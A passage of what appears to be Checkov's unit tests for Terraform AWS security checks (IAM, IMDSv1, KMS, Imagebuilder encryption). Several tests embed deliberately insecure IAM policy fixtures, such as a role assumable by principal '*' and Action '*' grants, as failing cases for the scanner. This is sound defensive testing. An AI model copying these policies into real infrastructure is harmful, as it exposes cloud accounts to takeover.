    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.runner import Runner\nfrom checkov.terraform.checks.resource.aws.IAMManagedAdminPolicy import check\n\n\nclass TestIAMManagedAdminPolicy(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = os.path.join(current_dir, \"example_IAMManagedAdminPolicy\")\n        report = runner.run(root_folder=test_files_dir,\n                            runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_role.pass1\",\n            \"aws_iam_policy_attachment.pass2\",\n            \"aws_iam_role_policy_attachment.pass3\",\n            \"aws_iam_user_policy_attachment.pass4\",\n            \"aws_iam_group_policy_attachment.pass5\",\n            \"aws_iam_role_policy_attachment.pass6\",\n            \"aws_ssoadmin_managed_policy_attachment.pass7\",\n        }\n\n        failing_resources = {\n            \"aws_iam_role.fail1\",\n            \"aws_iam_policy_attachment.fail2\",\n            \"aws_iam_role_policy_attachment.fail3\",\n            \"aws_iam_user_policy_attachment.fail4\",\n            \"aws_iam_group_policy_attachment.fail5\",\n            \"aws_ssoadmin_managed_policy_attachment.fail6\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMPermissionsManagement.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.IAMPermissionsManagement import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMPermissionsManagement(unittest.TestCase):\n    def setUp(self):\n        from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\n        # needs to be reset, because the cache belongs to the class not instance\n        BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {}\n\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_IAMPermissionsManagement\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy.pass\",\n        }\n        failing_resources = {\n            \"aws_iam_policy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['policy/Statement/[0]/Action'])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMPolicyAttachedToGroupOrRoles.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.IAMPolicyAttachedToGroupOrRoles import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMPolicyAttachedToGroupOrRoles(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_IAMPolicyAttachedToGroupOrRoles\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy_attachment.pass\",\n            \"aws_iam_policy_attachment.null\",\n            \"aws_iam_policy_attachment.empty\",\n        }\n        failing_resources = {\n            \"aws_iam_policy_attachment.fail\",\n            \"aws_iam_user_policy.fail\",\n            \"aws_iam_user_policy_attachment.fail\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 3)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMPrivilegeEscalation.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.IAMPrivilegeEscalation import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMPolicyAttachedToGroupOrRoles(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_IAMPrivilegeEscalation\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy.passing\",\n        }\n        failing_resources = {\n            'aws_iam_policy.privilege_escalation'\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['policy/Statement/[0]/Action'])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMRoleAllowAssumeFromAccount.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.IAMRoleAllowAssumeFromAccount import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMRoleAllowAssumeFromAccount(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_IAMRoleAllowAssumeFromAccount\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_role.pass\",\n            \"aws_iam_role.pass2\",\n            \"aws_iam_role.pass3\",\n        }\n        failing_resources = {\n            \"aws_iam_role.fail\",\n            \"aws_iam_role.fail2\",\n            \"aws_iam_role.fail3\",\n            \"aws_iam_role.fail4\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMRoleAllowsPublicAssume.py",
    "content": "import unittest\nimport hcl2\n\nfrom checkov.terraform.checks.resource.aws.IAMRoleAllowsPublicAssume import check\nfrom checkov.common.models.enums import CheckResult\n\n\nclass TestIAMRoleAllowsPublicAssume(unittest.TestCase):\n\n    def test_failure(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_iam_role\" \"lambdaRole\" {\n    name = \"test-role\"\n    assume_role_policy = <<EOF\n{\n\"Version\": \"2012-10-17\",\n\"Statement\": [\n{\n\"Action\": \"sts:AssumeRole\",\n\"Principal\" : {\"Service\": \"lambda.amazonaws.com\"},\n\"Effect\": \"Allow\"\n},\n{\n\"Action\": \"sts:AssumeRole\",\n\"Principal\" : {\"AWS\": \"*\"},\n\"Effect\": \"Allow\"\n},\n{\n\"Action\": \"sts:AssumeRole\",\n\"Principal\" : {\"Service\": \"events.amazonaws.com\"},\n\"Effect\": \"Allow\"\n}\n]\n}\n\nEOF\n}        \n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_iam_role']['lambdaRole']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_array(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_iam_role\" \"lambdaRole\" {\n    name = \"test-role\"\n    assume_role_policy = <<EOF\n{\n\"Version\": \"2012-10-17\",\n\"Statement\": [\n{\n\"Action\": \"sts:AssumeRole\",\n\"Principal\" : {\"Service\": \"lambda.amazonaws.com\"},\n\"Effect\": \"Allow\"\n},\n{\n\"Action\": \"sts:AssumeRole\",\n\"Principal\" : {\"AWS\": [\"*\"]},\n\"Effect\": \"Allow\"\n},\n{\n\"Action\": \"sts:AssumeRole\",\n\"Principal\" : {\"Service\": \"events.amazonaws.com\"},\n\"Effect\": \"Allow\"\n}\n]\n}\n\nEOF\n}        \n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_iam_role']['lambdaRole']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_success(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_iam_role\" \"lambdaRole\" {\n    name = \"test-role\"\n    assume_role_policy = <<EOF\n{\n\"Version\": \"2012-10-17\",\n\"Statement\": [\n{\n\"Action\": \"sts:AssumeRole\",\n\"Principal\" : {\"Service\": \"lambda.amazonaws.com\"},\n\"Effect\": \"Allow\"\n}\n]\n}\n\nEOF\n}        \n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_iam_role']['lambdaRole']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_deny(self):\n        hcl_res = hcl2.loads(\"\"\"\nresource \"aws_iam_role\" \"lambdaRole\" {\n    name = \"test-role\"\n    assume_role_policy = <<EOF\n{\n\"Version\": \"2012-10-17\",\n\"Statement\": [\n{\n\"Action\": \"sts:AssumeRole\",\n\"Principal\" : {\"AWS\": \"*\"},\n\"Effect\": \"Deny\"\n}\n]\n}\n\nEOF\n}        \n        \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_iam_role']['lambdaRole']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_empty_iam_policy(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_iam_role\" \"lambdaRole\" {\n            name = \"test-role\"\n            assume_role_policy = \"\"\n        }        \n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_iam_role']['lambdaRole']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_empty_iam_policy_2(self):\n        hcl_res = hcl2.loads(\"\"\"\n        resource \"aws_iam_role\" \"lambdaRole\" {\n            name = \"test-role\"\n        }        \n                \"\"\")\n        resource_conf = hcl_res['resource'][0]['aws_iam_role']['lambdaRole']\n        scan_result = check.scan_resource_conf(conf=resource_conf)\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMStarActionPolicyDocument.py",
    "content": "import unittest\n\nfrom checkov.common.models.enums import CheckResult\nfrom checkov.terraform.checks.resource.aws.IAMStarActionPolicyDocument import check\n\n\nclass TestIAMStarActionPolicyDocument(unittest.TestCase):\n    def test_success(self):\n        resource_conf = {\n            \"name\": [\"test\"],\n            \"user\": [\"${aws_iam_user.lb.name}\"],\n            \"policy\": [\n                '{\"Version\": \"2012-10-17\", \"Statement\": [{\"Action\": [\"ec2:Describe*\"], \"Effect\": \"Allow\", \"Resource\": \"abc*\"}]}'\n            ],\n        }\n        scan_result = check.scan_entity_conf(conf=resource_conf, entity_type=\"aws_iam_policy\")\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_success_service_star(self):\n        resource_conf = {\n            \"name\": [\"test\"],\n            \"user\": [\"${aws_iam_user.lb.name}\"],\n            \"policy\": [\n                {\"Version\": \"2012-10-17\", \"Statement\": [{\"Action\": \"ec2:*\", \"Effect\": \"Allow\", \"Resource\": \"abc*\"}]}\n            ],\n        }\n        scan_result = check.scan_entity_conf(conf=resource_conf, entity_type=\"aws_iam_policy\")\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n    def test_failure(self):\n        resource_conf = {\n            \"name\": [\"test\"],\n            \"user\": [\"${aws_iam_user.lb.name}\"],\n            \"policy\": [\n                {\"Version\": \"2012-10-17\", \"Statement\": [{\"Action\": [\"*\"], \"Effect\": \"Allow\", \"Resource\": \"abc*\"}]}\n            ],\n        }\n        scan_result = check.scan_entity_conf(conf=resource_conf, entity_type=\"aws_iam_policy\")\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_failure_multiple_statements(self):\n        resource_conf = {\n            \"name\": [\"test\"],\n            \"user\": [\"${aws_iam_user.lb.name}\"],\n            \"policy\": [\n                {\n                    \"Version\": \"2012-10-17\",\n                    \"Statement\": [\n                        {\n                            \"Sid\": \"SqsAllow\",\n                            \"Effect\": \"Allow\",\n                            \"Action\": [\n                                \"sqs:GetQueueAttributes\",\n                                \"sqs:GetQueueUrl\",\n                                \"sqs:ListDeadLetterSourceQueues\",\n                                \"sqs:ListQueues\",\n                                \"sqs:ReceiveMessage\",\n                                \"sqs:SendMessage\",\n                                \"sqs:SendMessageBatch\",\n                            ],\n                            \"Resource\": \"*\",\n                        },\n                        {\"Sid\": \"ALL\", \"Effect\": \"Allow\", \"Action\": [\"*\"], \"Resource\": [\"${var.my_resource_arn}\"]},\n                    ],\n                }\n            ],\n        }\n        scan_result = check.scan_entity_conf(conf=resource_conf, entity_type=\"aws_iam_policy\")\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_sso_failure(self):\n\n        resource_conf = {\n            \"instance_arn\": \"${aws_ssoadmin_permission_set.example.arn}\",\n            \"permission_set_arn\": \"${aws_iam_user.lb.name}\",\n            \"inline_policy\": [\n                {\"Version\": \"2012-10-17\", \"Statement\": [{\"Action\": [\"*\"], \"Effect\": \"Allow\", \"Resource\": \"abc*\"}]}\n            ],\n        }\n        scan_result = check.scan_entity_conf(\n            conf=resource_conf, entity_type=\"aws_ssoadmin_permission_set_inline_policy\"\n        )\n        self.assertEqual(CheckResult.FAILED, scan_result)\n\n    def test_sso_success(self):\n        resource_conf = {\n            \"instance_arn\": \"${aws_ssoadmin_permission_set.example.arn}\",\n            \"permission_set_arn\": \"${aws_iam_user.lb.name}\",\n            \"inline_policy\": [\n                '{\"Version\": \"2012-10-17\", \"Statement\": [{\"Action\": [\"ec2:Describe*\"], \"Effect\": \"Allow\", \"Resource\": \"abc*\"}]}'\n            ],\n        }\n        scan_result = check.scan_entity_conf(\n            conf=resource_conf, entity_type=\"aws_ssoadmin_permission_set_inline_policy\"\n        )\n        self.assertEqual(CheckResult.PASSED, scan_result)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMStarResourcePolicyDocument.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.IAMStarResourcePolicyDocument import check\nfrom checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMStarResourcePolicyDocument(unittest.TestCase):\n    def setUp(self) -> None:\n        # make sure nothing is in the cache\n        BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {}\n\n    def tearDown(self) -> None:\n        BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {}\n\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_IAMStarResourcePolicyDocument\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy.pass\",\n            \"aws_iam_policy.pass_unrestrictable\",\n            \"aws_iam_role_policy.pass\",\n            \"aws_iam_user_policy.pass\",\n            \"aws_iam_group_policy.pass\",\n            \"aws_ssoadmin_permission_set_inline_policy.pass\"\n        }\n        failing_resources = {\n            \"aws_iam_policy.fail\",\n            \"aws_iam_role_policy.fail\",\n            \"aws_iam_user_policy.fail\",\n            \"aws_iam_group_policy.fail\",\n            \"aws_ssoadmin_permission_set_inline_policy.fail\"\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMUserNotUsedForAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.IAMUserNotUsedForAccess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMUserNotUsedForAccess(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_IAMUserNotUsedForAccess\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = set()\n        failing_resources = {\n            \"aws_iam_user.bad\",\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], len(passing_resources))\n        self.assertEqual(summary[\"failed\"], len(failing_resources))\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMUserRootAccessKeys.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.IAMUserRootAccessKeys import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMUserRootAccessKeys(unittest.TestCase):\n    def test(self):\n        # given\n        test_files_dir = Path(__file__).parent / \"example_IAMUserRootAccessKeys\"\n\n        # when\n        report = Runner().run(root_folder=str(test_files_dir), runner_filter=RunnerFilter(checks=[check.id]))\n\n        # then\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_access_key.pass\",\n        }\n        failing_resources = {\n            'aws_iam_access_key.fail'\n        }\n\n        passed_check_resources = {c.resource for c in report.passed_checks}\n        failed_check_resources = {c.resource for c in report.failed_checks}\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IAMWriteAccess.py",
    "content": "import unittest\nfrom pathlib import Path\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.IAMWriteAccess import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIAMWriteAccess(unittest.TestCase):\n    def setUp(self):\n        from checkov.terraform.checks.utils.base_cloudsplaining_iam_scanner import BaseTerraformCloudsplainingIAMScanner\n        # needs to be reset, because the cache belongs to the class not instance\n        BaseTerraformCloudsplainingIAMScanner.policy_document_cache = {}\n\n    def test(self):\n        test_files_dir = Path(__file__).parent / \"example_IAMWriteAccess\"\n\n        report = Runner().run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_iam_policy.restrictable\",\n            \"aws_iam_policy.unrestrictable\",\n        }\n        failing_resources = {\n            \"aws_iam_policy.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(report.failed_checks[0].check_result.get('evaluated_keys'), ['policy/Statement/[0]/Action'])\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_IMDSv1Disabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.IMDSv1Disabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestIMDSv1Disabled(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_IMDSv1Disabled\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_instance.required\",\n            \"aws_launch_configuration.required_lc\",\n            \"aws_instance.disabled\"\n        }\n        failing_resources = {\n            \"aws_instance.defaults\",\n            \"aws_instance.optional_token\",\n            \"aws_launch_configuration.optional_lc\",\n            \"aws_launch_template.optional_lt\",\n            \"aws_launch_template.default_lt\"\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 5)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == '__main__':\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ImagebuilderComponentEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ImagebuilderComponentEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestImagebuilderComponentEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ImagebuilderComponentEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_imagebuilder_component.pass\",\n        }\n        failing_resources = {\n            \"aws_imagebuilder_component.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ImagebuilderDistributionConfigurationEncryptedWithCMK.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ImagebuilderDistributionConfigurationEncryptedWithCMK import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestImagebuilderDistributionConfigurationEncryptedWithCMK(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ImagebuilderDistributionConfigurationEncryptedWithCMK\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_imagebuilder_distribution_configuration.pass\",\n        }\n        failing_resources = {\n            \"aws_imagebuilder_distribution_configuration.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 1)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_ImagebuilderImageRecipeEBSEncrypted.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.ImagebuilderImageRecipeEBSEncrypted import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestImagebuilderImageRecipeEBSEncrypted(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_ImagebuilderImageRecipeEBSEncrypted\"\n        report = runner.run(\n            root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id])\n        )\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_imagebuilder_image_recipe.pass\",\n            \"aws_imagebuilder_image_recipe.pass2\",\n            \"aws_imagebuilder_image_recipe.pass3\",\n        }\n        failing_resources = {\n            \"aws_imagebuilder_image_recipe.fail\",\n            \"aws_imagebuilder_image_recipe.fail2\",\n            \"aws_imagebuilder_image_recipe.fail3\",\n            \"aws_imagebuilder_image_recipe.fail4\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 3)\n        self.assertEqual(summary[\"failed\"], 4)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_KMSKeyIsEnabled.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.KMSKeyIsEnabled import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestKMSKeyIsEnabled(unittest.TestCase):\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KMSKeyIsEnabled\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            \"aws_kms_key.pass\",\n            \"aws_kms_key.pass2\",\n        }\n        failing_resources = {\n            \"aws_kms_key.fail\",\n        }\n\n        passed_check_resources = set([c.resource for c in report.passed_checks])\n        failed_check_resources = set([c.resource for c in report.failed_checks])\n\n        self.assertEqual(summary[\"passed\"], 2)\n        self.assertEqual(summary[\"failed\"], 1)\n        self.assertEqual(summary[\"skipped\"], 0)\n        self.assertEqual(summary[\"parsing_errors\"], 0)\n\n        self.assertEqual(passing_resources, passed_check_resources)\n        self.assertEqual(failing_resources, failed_check_resources)\n\n\nif __name__ == \"__main__\":\n    unittest.main()\n"
  },
  {
    "path": "tests/terraform/checks/resource/aws/test_KMSKeyWildcardPrincipal.py",
    "content": "import os\nimport unittest\n\nfrom checkov.runner_filter import RunnerFilter\nfrom checkov.terraform.checks.resource.aws.KMSKeyWildcardPrincipal import check\nfrom checkov.terraform.runner import Runner\n\n\nclass TestKMSKeyWildcardPrincipal(unittest.TestCase):\n\n    def test(self):\n        runner = Runner()\n        current_dir = os.path.dirname(os.path.realpath(__file__))\n\n        test_files_dir = current_dir + \"/example_KMSKeyWildcardPrincipal\"\n        report = runner.run(root_folder=test_files_dir, runner_filter=RunnerFilter(checks=[check.id]))\n        summary = report.get_summary()\n\n        passing_resources = {\n            'aws_kms_key.pass_0',\n            'aws_kms_key.pass_1',\n            'aws_kms_key.pass_2',\n            'aws_kms_key.pass_3',\n            'aws_kms_key.pass_4',\n        }\n        failing_resources = {\n            'aws_kms_key.fail_0',\n            'aws_kms_key.fail_1',\n            'aws_kms_key.fail_2',\n            'aws_kms_key.fail_3',\n            'aws_kms_key.fail_4',\n        }\n\n        passed_check_resources = set([c.resource for c in 